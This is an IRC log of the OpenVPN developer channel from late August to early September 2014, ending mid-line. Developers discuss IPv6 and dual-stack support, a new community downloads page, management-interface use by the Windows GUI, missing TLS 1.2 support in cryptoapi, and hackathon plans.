[~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:39 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:41 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 13:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:04 -!- dazo is now known as dazo_afk 15:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: Who is this General Failure and why is he reading my hard drive?] 15:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:52 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:55 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 17:17 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 19:04 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 23:31 <@ecrist> holy shit 23:31 <@ecrist> IPv6 support over tun existed all the way back to 1.3.2 (2002) 23:31 <@ecrist> ! --- Day changed Sat Aug 23 2014 03:26 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Remote host closed the connection] 04:22 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 04:42 <@cron2> ecrist: yes, point-to-point IPv6 is old (and easy, as it's mostly related to "put the tun interface into multiprotocol mode, handle the extra 4-byte header") 08:09 <@ecrist> still thought it was neat 15:25 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 15:30 -!- mattock is now known as mattock_afk 15:57 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Ping timeout: 255 seconds] 16:00 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 16:28 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 17:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:30 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 17:39 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Sun Aug 24 2014 01:17 -!- mattock_afk is now known as mattock 01:22 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Remote host closed the connection] 03:12 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has joined #openvpn-devel 03:13 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 03:30 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has quit [] 10:30 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 10:31 <+debbie10t> Hi - I know the dev team has been looking at how openvpn gets elavated rights to run and new ways to do it in future 10:32 <+debbie10t> with that in mind - I just want to check I am not incorrect 10:33 <+debbie10t> This post : https://forums.openvpn.net/topic16753.html 10:33 <@vpnHelper> Title: OpenVPN Support Forum How to add routes by Service? : Scripting and Customizations (at forums.openvpn.net) 10:33 <+debbie10t> Has me a little perplexed that I have missed something 10:33 <+debbie10t> as the log shows "route addition via service" 10:33 <+debbie10t> ? 10:39 <@cron2> that is openvpn connect, I assume? 10:39 <+debbie10t> cron2: hi 10:39 <+debbie10t> not sure 10:39 <+debbie10t> log says 10:40 <+debbie10t> OpenVPN 2.1.1 i686-w64-mingw32 [SSL] [LZO2] built on Oct 15 2012 10:40 <+debbie10t> that is why i am asking here .. as the log msg "addition via service" is not one i recognise 10:40 <@cron2> whatever *that* is - quote likely it is connect, based on antique 2.x source tree 10:41 <@cron2> (connect only fairly recently moved to 2.3/2.4-git) 10:41 <@cron2> and connect does exactly what d12fk is planning for the community version - handle operations that need privs using a service. d12fk's model is slightly different, je and james discussed that in munich 10:42 <+debbie10t> is not connect for android et al 10:42 <+debbie10t> ? 10:42 <+debbie10t> this is on a pc 10:43 <@cron2> similar to android - there's two openvpn versions for windows, one based on "the community project" built by mattock, one built by openvpn tech targetting AS customers (but it will work against a 2.3/2.4-git server too) 10:43 <+debbie10t> ok .. but both logs say v234 .. looks like vanilla openvpn to me 10:44 <@cron2> where does it say v234? it says 2.1.1 there :) 10:44 <+debbie10t> lol .. yr right .. i even told him to update ;) 10:44 <@cron2> but anyway, I assume that the connect gui will tell the openvpn binary to not install the routes, and instead query the management interface and pass that data on to the service 10:45 <@cron2> but in any case - this is the AS client, so nothing where the community devs will be able to give precise answers 10:45 <+debbie10t> great :) 10:45 <+debbie10t> thanks 10:46 <+debbie10t> i will get the OP to update and see what happens .. but at least I am not scratchin my head about it any more 11:34 -!- keruton [~keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 11:38 -!- keruton [~keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Remote host closed the connection] 11:42 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 16:01 <+debbie10t> Version control .. seems to be a real problem here abouts 16:35 -!- mattock is now known as mattock_afk 16:49 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Ping timeout: 244 seconds] 16:56 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 17:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 17:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:55 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 18:55 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 18:56 <+debbie10t> VARSION CONTROL .. FICX IT 18:56 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel [] --- Day changed Mon Aug 25 2014 01:46 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has left #openvpn-devel [] 01:51 -!- mattock_afk is now known as mattock 02:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:11 -!- dazo_afk is now known as dazo 09:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 09:32 -!- Hes [iE0@tunkki.fi] has quit [Ping timeout: 260 seconds] 09:32 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 09:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 09:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:34 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 09:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:35 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 09:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:13 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 11:33 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 13:08 -!- dazo is now known as dazo_afk 14:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:44 -!- mattock is now known as mattock_afk 17:08 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] --- Day changed Tue Aug 26 2014 01:18 -!- mattock_afk is now known as mattock 01:47 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:15 -!- dazo_afk is now known as dazo 04:24 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 04:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:24 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds] 07:55 -!- dazo is now known as dazo_afk 07:57 -!- dazo_afk is now known as dazo 09:47 <@mattock> there's a work-in-progress, static community download page here: https://community.openvpn.net/downloads.html 09:47 <@vpnHelper> Title: OpenVPN Community Downloads (at community.openvpn.net) 09:47 <@mattock> I'm not entirely sure what to do with the top part 09:47 <@mattock> whether I want to attempt to ape Trac there or not 09:48 <@mattock> some data/content is also missing still 10:35 <@plaisthos> there is no such thing like a trace wiki page that is only modifable by admin users? 10:36 <@plaisthos> shouldn't the Ixx version say Vista or later? 10:46 <+krzee> nice mattock =] 10:49 -!- mattock is now known as mattock_afk 10:54 <@plaisthos> mattock_afk: but yeah looks so far :) 10:59 -!- mattock_afk is now known as mattock 11:58 <+krzee> https://community.openvpn.net/openvpn/wiki/IPv6 11:58 <@vpnHelper> Title: IPv6 – OpenVPN Community (at community.openvpn.net) 11:59 <+krzee> i added ipv6 transport to that page 11:59 <+krzee> afaik theres not much to say about it… but i figured it should be said. 12:00 <+krzee> i *thought* i had done that before, but it seems i had not. i guess i may have just added it to the bot and meant to add it to the wiki 12:00 <@cron2> we could mention that 2.3 is either/or regarding IPv4/IPv6 transport, while 2.4 is nicely dual-stack and will pick what is there and works 12:00 <+krzee> whoa 12:00 <+krzee> that is pretty awesome, i did not know dual stack was scheduled now 12:01 <@cron2> 2.3 will do IPv6 if told so (--udp6), but if the server also has IPv4, it won't try that 12:01 <@cron2> it's in there, plaisthos did all the work end of 2013 12:01 <+krzee> will that also be multiple ip:port:proto ? 12:01 * cron2 is talking about the client, not the server - and the client always had "multiple remote" 12:02 <+krzee> oh i see 12:02 <@cron2> the server is still single-socket (but that one can turn on dual-stack mode everywhere but OpenBSD) 12:02 <+krzee> i thought you were talking bout the server 12:02 <@cron2> well, the server side also got improved - no more fiddling with sysctls to get dual-stack sockets, but that was fairly minor 12:03 <@mattock> plaisthos: Trac pages can be set to be modifiable by admins only 12:25 -!- dazo is now known as dazo_afk 15:27 -!- mattock is now known as mattock_afk 16:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:41 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 17:43 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 17:43 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:43 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:07 <@ecrist> ping mattock 18:08 <@ecrist> mattock_afk: change log links for 2.2 and 2.3 have disappeard from the drop-down under community on the main website 18:08 <@ecrist> they were there in the last couple days. 23:01 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] --- Day changed Wed Aug 27 2014 00:35 -!- mattock_afk is now known as mattock 02:30 <@vpnHelper> RSS Update - tickets: #435: rampant retries can nail openvpn servers <https://community.openvpn.net/openvpn/ticket/435> 02:37 <@cron2> 2014 hackathon page has been done 02:41 <@cron2> mattock: what you wrote in #316 - is the "tap-windows-9.9.2_3.exe" something different from what is contained in the installer bundle? 02:50 -!- dazo_afk is now known as dazo 02:54 <@vpnHelper> RSS Update - tickets: #436: Management interface crashes with --tun-ipv6 on Windows <https://community.openvpn.net/openvpn/ticket/436> 02:55 <@cron2> "now that's news to me" 03:05 -!- roentgen_ [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+v roentgen_] by ChanServ 03:10 -!- Netsplit *.net <-> *.split quits: +roentgen 05:10 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 10:20 -!- Netsplit *.net <-> *.split quits: siruf 10:22 -!- Netsplit over, joins: siruf 11:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 11:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:09 -!- dazo is now known as dazo_afk 12:05 <@ecrist> wasn't polarssl brought into openvpn because some gov't wanted it? 12:15 <@cron2> openvpn-nl, yes 12:54 <@vpnHelper> RSS Update - tickets: #437: systemd: cannot enter password on stdin as client <https://community.openvpn.net/openvpn/ticket/437> 14:59 -!- mattock is now known as mattock_afk 16:19 <@syzzer> ecrist: yes, because the Dutch government wanted an approved VPN solution and considered evaluating openssl undoable 19:55 <@plaisthos> syzzer: looking at OpenSSL's history they see to be right --- Day changed Thu Aug 28 2014 00:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds] 00:06 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 00:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:39 -!- dazo_afk is now known as dazo 03:14 <@mattock> added my munich hackthon info to https://community.openvpn.net/openvpn/wiki/MunichHackathon2014 03:14 <@vpnHelper> Title: MunichHackathon2014 – OpenVPN Community (at community.openvpn.net) 03:15 <@mattock> couldn't get reasonable flights on Friday, so I'll arrive on Thursday 03:15 <@mattock> probably have to do some tourist work then 04:25 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 05:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:11 <@cron2> mattock: welcome :) 09:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:12 -!- dazo is now known as dazo_afk 11:29 <@mattock> uh, what a lovely lesson in CSS3 this has been: https://community.openvpn.net/downloads.html 11:29 <@vpnHelper> Title: OpenVPN Community Downloads (at community.openvpn.net) 11:29 <@mattock> starting to look fairly good, but some cleanups are needed 11:29 <@mattock> fairly close to Trac, even though some fancy stuff is missing and probably will be 11:36 <@ecrist> mattock: did you see my messages the other day regardingn changelog on the website? 11:43 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:09 <@mattock> ecrist: missed those, but raidz notified me 12:09 <@mattock> I'll check the backlog 12:10 <@mattock> ecrist: found it 12:10 <@mattock> I'll have a look 12:10 <@mattock> hopefully we can kill Joomla before the year's end, though 12:11 <@mattock> this kind of stuff (mysterious disappearances) is not that rare 12:12 <@mattock> cron2: regarding tap-windows-9.9.2_3... it should be exactly the same as what's in the NDIS5-based openvpn installers 12:12 <@mattock> I think the guy that mentioned that in the Trac ticket had messed something up and installating 9.9.2_3 just happened to solve that issue 12:13 <@mattock> I mean reinstalling the tap driver 12:24 <@cron2> that's what I had guessed... 14:31 -!- mattock is now known as mattock_afk 16:45 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 17:24 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Fri Aug 29 2014 00:48 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 00:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 00:54 -!- mattock_afk is now known as mattock 01:11 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:12 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 01:12 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 02:16 -!- mattock is now known as mattock_afk 02:29 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 02:29 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:50 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 02:50 < n13l> i build mingw openvpn with few fixes related to: http://permalink.gmane.org/gmane.network.openvpn.devel/8646 02:50 <@vpnHelper> Title: socket.c issues when building snapshots on windows... (at permalink.gmane.org) 02:51 < n13l> now i can see error: TLS Error: local/remote TLS keys are out of sync 02:51 < n13l> is it possible that git master server is not compatible with stable client ? 03:07 < n13l> Hmm TLS Error: local/remote TLS keys are out of sync looks like more general error 03:16 -!- mattock_afk is now known as mattock 03:36 -!- mattock is now known as mattock_afk 04:06 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 04:06 <+debbie10t> Just to let you know : http://openvpn.net/ - is either down or under attack again .. 04:09 -!- dazo_afk is now known as dazo 04:16 -!- Netsplit *.net <-> *.split quits: @mattock_afk, @d12fk, @raidz 04:17 -!- Netsplit over, joins: @raidz, @mattock_afk, @d12fk --- Log closed Fri Aug 29 04:59:34 2014 --- Log opened Fri Aug 29 08:00:01 2014 08:00 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:00 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 3 voices, 6 normal] 08:00 !asimov.freenode.net [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 08:00 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 08:00 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 08:00 -!- You're now known as ecrist 09:46 <@mattock> I deem the static downloads page "good enough for now": https://community.openvpn.net/downloads.html 09:46 <@vpnHelper> Title: OpenVPN Community Downloads (at community.openvpn.net) 09:46 <@mattock> works well on all semi-recent browsers 09:46 <@mattock> even IE 8 09:46 <@mattock> (due to the html5shiv.js) 09:47 <@mattock> only browser which I found that messes the page up is MicroB on Maemo 5 (Nokia N900) 09:47 <@mattock> and that only manages to unalign the header and content sections somehow 09:47 <@mattock> might be fixable 10:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:34 -!- dazo is now known as dazo_afk 15:26 -!- mattock is now known as mattock_afk 19:51 -!- raidz is now known as raidz_away 20:14 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Ping timeout: 245 seconds] --- Log closed Fri Aug 29 20:19:49 2014 --- Log opened Fri Aug 29 20:19:56 2014 20:19 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 20:19 -!- Irssi: #openvpn-devel: Total of 19 nicks [11 ops, 0 halfops, 2 voices, 6 normal] 20:19 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 20:20 -!- Irssi: Join to #openvpn-devel was synced in 57 secs 20:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 20:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:28 -!- Netsplit *.net <-> *.split quits: @ecrist 20:38 -!- Netsplit *.net <-> *.split quits: @dazo_afk, @vpnHelper, Haigha 20:39 -!- Netsplit *.net <-> *.split quits: @d12fk, @plaisthos, @syzzer, siruf, @andj, shivanshu, riddle, @cron2, ender^, +krzee, (+2 more, use /NETSPLIT to show all of them) 20:50 -!- Netsplit over, joins: @vpnHelper, +krzee, Haigha, ender^, @syzzer, +roentgen_, @pekster, @dazo_afk, @plaisthos, riddle (+5 more) 23:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 23:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 272 seconds] 23:22 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 23:22 -!- mode/#openvpn-devel [+o andj] by ChanServ 23:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:23 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sat Aug 30 2014 01:16 -!- mattock_afk is now known as mattock 04:34 -!- mattock is now known as mattock_afk 06:40 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 250 seconds] 06:41 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Log closed Sat Aug 30 06:53:20 2014 --- Log opened Sat Aug 30 12:11:16 2014 12:11 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:11 -!- Irssi: #openvpn-devel: Total of 16 nicks [8 ops, 0 halfops, 2 voices, 6 normal] 12:11 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 12:11 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 16:05 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel --- Day changed Sun Aug 31 2014 02:03 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 07:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:46 -!- vpnHelper is now known as 23LABFSSI 07:46 -!- 23LABFSSI is now known as vpnHelper 16:44 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 16:44 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 16:45 <+debbie10t> i don't know .. but ppl like to express : https://forums.openvpn.net/topic16848.html#p44521 16:45 <@vpnHelper> Title: OpenVPN Support Forum Windows TAP Driver 9.21.0 and DHCP in Bridge Mode : Server Administration (at forums.openvpn.net) 16:46 <+debbie10t> This may have to be removed 16:54 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 19:02 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 19:02 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 19:04 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:04 -!- mode/#openvpn-devel [+o plai] by ChanServ 19:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 19:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 20:34 -!- pekster_ is now known as pekster --- Day changed Mon Sep 01 2014 05:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 09:39 -!- dgollub [~dgollub@p20030045EE409D01D96BB5DDF6B5CF7D.dip0.t-ipconnect.de] has joined #openvpn-devel 10:33 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 10:33 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:12 -!- dgollub [~dgollub@p20030045EE409D01D96BB5DDF6B5CF7D.dip0.t-ipconnect.de] has quit [Quit: Leaving.] --- Day changed Tue Sep 02 2014 08:21 < n13l> hey all, can i find here any expert related to openvpn management console ? :-) 08:22 < n13l> ovpn gui on windows using this console and i would like to ask you if it's possible bypass this interface 08:23 < n13l> i thinkin about plugin listening on port and forwarding cmds from gui to openvpn 09:14 <+krzee> !management 09:14 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN 09:15 <+krzee> you want to bypass the management interface in order to make a new management interface? 09:45 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 09:45 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 09:46 <+debbie10t> hi : https://forums.openvpn.net/post44587.html#p44587 09:46 <@vpnHelper> Title: OpenVPN Support Forum Configuration to Support TLS 1.2 : Configuration (at forums.openvpn.net) 09:46 <+debbie10t> This is interesting bacuase the rest of the error log reads : File: cryptoapi.c, Line 263 09:47 <+debbie10t> Looking up line 263 in cryptoapi.c reveals : 09:47 <+debbie10t> /* I haven't been able to trigger this one, but I want to know if it happens... */ 09:47 <+debbie10t> assert(0); 09:47 <+debbie10t> I just wondered if anybody would like to take over this one .. 09:47 <+debbie10t> tia 09:50 < n13l> krzee: i want to hook management interface infact and provider own user/pass in my plugin 09:51 < n13l> krzee: i can do in with management interface pretty easily when openvpn gui is no used 09:53 <+debbie10t> n13l: using the gui redirects log and screws up management interface .. 09:53 <+debbie10t> there is a file i think in c:/programs../openvpn/management-notes.tar.gz 10:01 <+debbie10t> n13l: see doc/management-notes.txt in the source 10:01 < n13l> debbie10t: ok thx. will look there 10:01 < n13l> debbie10t: just lookin into openvpn-gui sources and catching how exactly is management iface used 10:03 <+debbie10t> I'm not 100% sure .. but using the GUI changes how OpenVPN works .. the GUI forces the mangement interface to use a specific port and connects to it 10:03 < n13l> debbie10t: yeye i see port=hardcoded_port + config_index 10:04 -!- mattock_afk is now known as mattock 10:04 <@ecrist> n13l: the openvpn gui calls openvpn itself, and sets up the management interface 10:04 < n13l> debbie10t: hmm it seems there's no env variable :( when plugin can checking for configured management port 10:11 < n13l> ahh it's there env: management_port ( so i can check management's port number configured byt openvpngui) 10:53 <@syzzer> debbie10t: cryptoapi currently does not support anything above TLS 1.0, unfortunately 10:54 <+debbie10t> syzzer: is that on windows only .. I am sure I have TLS 1.2 going here 10:54 <@syzzer> it is somewhere on my list to fix 'at some point', but there's other stuff higher on that list... 10:55 <@syzzer> if you use files for cert storage all is fine 10:55 <@syzzer> even pkcs11 should work 10:55 <@syzzer> it is just the crappy cryptoapi that can't handle it 10:56 <@syzzer> (afaik, it is *our* crappy implementation that can't handle it) 10:57 <+debbie10t> ok .. thanks .. but I am sure I got 1.2 working ? i will check logs at high ver and see what i get 10:57 <+debbie10t> verb* 10:58 <@syzzer> are you sure you were using a cryptoapicert ? that would be interesting... 10:58 <+debbie10t> ahh .. now i see what you mean :) 10:59 <+debbie10t> no not cryptocert .. just files 11:00 <+debbie10t> thanks :) 11:04 <@syzzer> you're welcome :) 11:06 <+debbie10t> syzzer: out of curisity .. does the problem include the way the OP has declared their CA .. I do not recognise their format 11:07 <+debbie10t> or it it just an incorrectly named file ? 11:07 <@syzzer> no, it's the "cryptoapicert "THUMB:61 8a da fc ec 5c 70 84 21 ed 2c dd c2 c0 2a 3b f6 f7 f5 69" line 11:07 <@syzzer> which tells openvpn to use the windows cryptoapi to get signatures from the server private key 11:07 <+debbie10t> yes .. i read about it today 11:08 <@syzzer> the ca is just windows-style bulky location with spaces and escaping etc ;) 11:08 <@syzzer> "nothing special, just ugly" 11:08 <+debbie10t> gotcha .. many thanks :) 14:52 -!- mattock is now known as mattock_afk 15:06 <@syzzer> btw, regarding hackathon, I got some budget from the company for a dinner again 15:07 <@syzzer> so if cron2 has nice suggestions for a place like last year, that would be great ;) 19:06 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] --- Day changed Wed Sep 03 2014 00:42 -!- mattock_afk is now known as mattock 01:47 -!- mattock is now known as mattock_afk 07:10 <@cron2> syzzer: cool :-) - we could go to the same place again, or I'll search for something new 07:23 <@cron2> dazo: are you still developing eurephia? 07:31 -!- mattock_afk is now known as mattock 11:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:08 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 11:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 11:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 11:08 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 11:08 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 11:09 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 11:10 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:14 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:29 -!- mode/#openvpn-devel [+o 